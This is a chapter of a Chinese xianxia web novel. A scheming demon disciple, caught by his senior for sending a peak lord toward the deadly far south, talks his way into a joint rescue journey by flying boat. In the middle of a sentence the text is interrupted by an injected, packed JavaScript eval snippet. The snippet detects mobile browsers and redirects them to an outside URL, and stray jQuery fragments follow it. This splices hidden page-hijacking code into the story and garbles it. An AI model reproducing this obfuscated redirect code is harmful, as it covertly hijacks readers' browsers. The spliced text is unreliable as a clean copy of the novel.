来旭阳峰这么久,沈衔星做的每件事心中都有数,在筹谋之前便会估算此事的风险、中间的变数以及为自己留好的后退之路。
唯独这一件沈衔星没有料到,他知道叶鹤澜对他起了疑心,藏匿温知许的事情他不过是看破不说破罢了,后来叶鹤澜并没有露出半点异样,沈衔星又一心想助他早日结丹,自以为能在他结丹之时解决一切带着金丹离开,那疑不疑心自然无关紧要,因此便忽略了。
万万没想到叶鹤澜借着这点怀疑顺藤摸瓜,只等着进入秘境后探查他的真实身份!
他是何时用的无相镜?无相镜亲水,只能是在水边……是在那日的潭边!
不过瞬息间,沈衔星将一切联结成网,清楚了来龙去脉,他面无表情地掐了下手心,不由得在心底冷笑了声。
好啊,秘境中他为君杀人,喂其灵花,又亲自从他腕间吸出蛇毒,此人却卑鄙地趁他昏迷之际查探他的身份。
呸,恩将仇报的伪君子!
“请师兄冷静些,你吓到我了,”沈衔星抬起手指轻轻地推开剑锋,不动声色地往远离剑的方向后退半步,眼眸一转微微叹了口气,“其实我也不想这样,只是林峰主咄咄逼人,追来惩戒处提剑就要砍人,我灵力被封,弱小无助又可怜,情急之下为了自保,也是可以理解的吧?”
叶鹤澜持剑的手极稳,剑尖连晃都不带晃一下,他冷冷看着他:“今日我给你两个选择,第一你自去向长老请罪,言明林峰主的去处,此后辞别各位长老,永世不得再上旭阳峰,下山后也不可说是旭阳峰弟子。”
这个选择出乎意料的十分妥帖,玄门对妖族大多赶尽杀绝,两族关系势同水火互不相容,若是换了任何个杀伐果决的人在此处,怕是早就将沈衔星赶尽杀绝了,叶鹤澜为人正派,所言所行皆受玄门慈悲为怀的教诲,为人到底心软了些。
心软之人注定成不了大事。
沈衔星漫不经心地想着,做出洗耳恭听之态:“第二个呢?”
清凌凌一轮寒月之下,一身蓝袍的叶鹤澜单手持剑,抵于他肩膀处,剑尖刺破衣襟,几欲刺入骨髓。
“第二个选择,你回惩戒处第三层,永世不得外出。”
沈衔星陡然陷入沉默,这两个选择孰利孰弊无需权衡,说给他选择,实际上只给了他一条路走。
这怎么能叫选择呢?难道真有人在生死关头会直言不讳地说我不活了你把我关起来罢?
极南之地虽然无人活着回来过,但不代表林绝就不是那例外啊,林峰主天赋异禀又独断专横,依他看很适合去极南之地锻炼锻炼,说不定大难不死回来后就博爱众生了呢?
等等,极南之地……他怎么忘了,如此好的杀人之地,连埋尸都不需要。
既然林绝能去,那叶鹤澜为何不能去?这局面看似对他不利,但为何不能将其扭转为一石二鸟的机会?
沈衔星眼眸转了转,忽而一笑,真情实意地道:“叶师兄你说得对,此事是我想岔了,本是我有错在先,不该如此算计林峰主错上加错,我决定改过自新重新做人。”
落冰急不可耐地欲诛妖邪,剑身流转淡蓝灵光,若不是叶鹤澜捏住,它怕是早已将眼前之人洞穿。
他强行压着落冰,启唇道:“你选第一个?”
沈衔星笑眯眯道:“我选第三个,不如师兄听我一言,我作的孽我自己偿。林峰主去往极南之地如此危险的地方,定然是需要有人为他保驾护航,不若我去将林峰主完好无损地请回来?”
叶鹤澜面上浮现出丝意外,任谁听了这个提议都觉难以理解——林绝与沈衔星有血仇在身不共戴天,是以沈衔星才巧舌如簧使诈诱他前去送死,可为何他又提议亲自去将人找回来?
若林绝知道沈衔星是在骗他,依他的脾气怕是要血溅当场,沈衔星死无全尸!
这与上赶着送死无异。
叶鹤澜想也没想地拒绝:“不可。”
“我将功赎过,为何不可?”
叶鹤澜用那种洞悉一切的眼神望着他,似是要将他脸上每个表情都刻入眼底:“你巧舌如簧,连林峰主都能骗得,我怎知你在耍什么花招?”
“既然担心我耍花招,不若师兄便同我一起,”沈衔星摊开双手,一副坦荡无辜的模样,“如今师兄结了丹,又有落冰剑在手,像我这种狡猾的妖族若有任何异心,师兄杀我如碾碎只蚂蚁般简单。待请完林峰主回来,我便自行下山,永生永世都不出现在你们面前,如何?”
这个提议其实并无不可,林绝才刚走没多久,浮舟虽可日行千里,但极南之地过于遥远,哪怕是浮舟都要连飞三天三夜,此时追上去是最佳选择。
叶鹤澜看了他许久,终是放下了剑,他不信沈衔星说的任何话,他是妖,妖族惯会背信弃义蛊惑人心,但他信自己。
从小到大的修仙天赋在任何功法面前都事半功倍,再加上日更不辍的修习练心,让叶鹤澜对自己的能力有着绝对自信。
不过只犹豫了会儿,叶鹤澜便松了口。
“此事需要禀告长老。”
*
半个时辰后,他们在去往极南之地的浮舟上,浮舟是远距离通行时最便捷的工具,分为大中小三种规格,大浮舟往往用来在固定城池间定时定点穿梭运客,主要面向的是修士和普通百姓,收费也低廉,另外两种规格的浮舟大多为私人或宗门定制,方便自用。
此次出行他们人少,用的是旭阳峰提供的小浮舟,浮舟中规中矩,如一座两进宅院,船头是专门用来控制方向的船舵,桅杆上挂着长而厚的风帆,船舱底部是专门用来供给燃料的地方。
半个时辰前他们向翠微长老禀告的时候,将正要睡觉的老头吓得直接清醒了,当即便要召开长老会重新商议,毕竟沈衔星跟叶鹤澜两人才刚从秘境中出来,还未正式拜师,资历又尚浅,不巧的是其余几位长老有在云游的,有在闭关的,也有在忙剑法大会的相关事宜的,还有杳无音信的,一时间委实找不出合适人选。
凡是旭阳峰之人皆带有宫铃,以此铃传音千里可达,是修士们连睡觉都贴身携带之物,古怪的是无论用宫铃如何给林绝传讯都石沉大海,无半点回音,连他的家眷也都跟着一块消失了。
沈衔星跟叶鹤澜两人都是此事的亲历者,除了他们之外再没人更熟悉此事缘由经过,无奈之下,翠微只好允了。
是夜,浮舟在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115043|178764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云端间穿梭而行,云海浮沉触手可及,星子斑斓闪烁,往下俯瞰便是人间万家灯火,以极快的速度倒退。
结界笼罩着整个浮舟,哪怕在万丈高空也不至于太冷,沈衔星不敢再睡,提了壶酒坐到船头,双腿晃荡在舟身之外,身披一件斗篷安静坐着发呆。
叶鹤澜本就不用睡觉,如今刚结完丹灵力充沛,正是练功的好时候,他于船舱内静息打坐。
在浮舟上坐的时间长了,先开始还觉景色稀奇,看久了便索然无味。
一瓶酒都喝到底了,沈衔星从船头晃荡到船尾,又绕到桅杆处研究半晌,最后实在无聊,于是摸进叶鹤澜的舱内,船舱并不大,放着张矮几,靠窗沿是方供人休息的木榻,塌边放只供人积累杂物的箱笼,便是所有陈设了。
叶鹤澜垂眸坐于榻上,一身淡蓝箭袖衣袍,雪白衬里,随盘坐姿势衣袍堆积在周身如散开莲瓣,容颜沉静,气质凛然。
屋内油灯炸了下,烛火晕晕,伴着满室寂静,那片昏黄如水般映照每个角落。
沈衔星默不作声盯着他,他知道他没睡,若有所思道:“师兄,我有一事相询。”
叶鹤澜并未睁眼:“说。”
“你同林峰主有旧?”
“并未。”
“他曾于你有恩,亦或是你的什么远房亲戚?”
“不是。”
沈衔星眸中闪过丝奇异之色:“那你为何如此看重他的性命?”
是了,这便是他想不通的地方,好歹他当了他三月师弟,为一非亲非故之人,叶鹤澜说翻脸就翻脸,难道只因为他是妖,他就无条件站在人族修士那边吗?
依他看,那林绝也并非什么好东西,林达林瑜在门派内如此作威作福,若没有仗着林绝的威势,没有他的默许,他不信。
这时,叶鹤澜终于睁了眼,他道:“善恶有报,终有尽时,林峰主未做伤天害理之事,身死南境非他业报,有违天理,该破。”
明明是一番宽仁悲悯的话,他说起来无悲无喜,毫无波澜,就好似……天道在断人罪过,辨人命数,以三界之外超脱红尘的视角在看芸芸众生。
沈衔星陡然陷入沉默,他又道:“那林氏兄弟呢?”
叶鹤澜道:“行恶事积恶果,他们自食其果罢了。”
沈衔星忽然有点明白了他的准则逻辑,他悟了,叶鹤澜在秘境中便知晓了他的身份,但一直按下不表,直到发现林绝去往极南之地才找他清算,是因为他把无辜之人牵扯进来了。
而至于林氏兄弟,叶鹤澜也觉得他们该死,因此杀了他们并不算沈衔星的罪过。
沈衔星有些恍惚,叶鹤澜修什么仙啊,无垢洲皇城内据说有座二十三丈高的金身大神佛像,供奉于静安庙内,据说参拜者众,他觉得那尊佛佛性还不够,叶鹤澜比它更适合待在那里。
他缓缓坐在叶鹤澜附近,一动不动地凝视他,由于刚喝了些酒,少年脸上染上几分绯色,他趴在他身边良久,忽而轻笑了声。
这笑说不清是什么意味,像是惊蛰后闷沉的一场绵绵细雨。
“叶鹤澜,若是早些年能遇到你,应该挺有意思的。”
但可惜,晚了。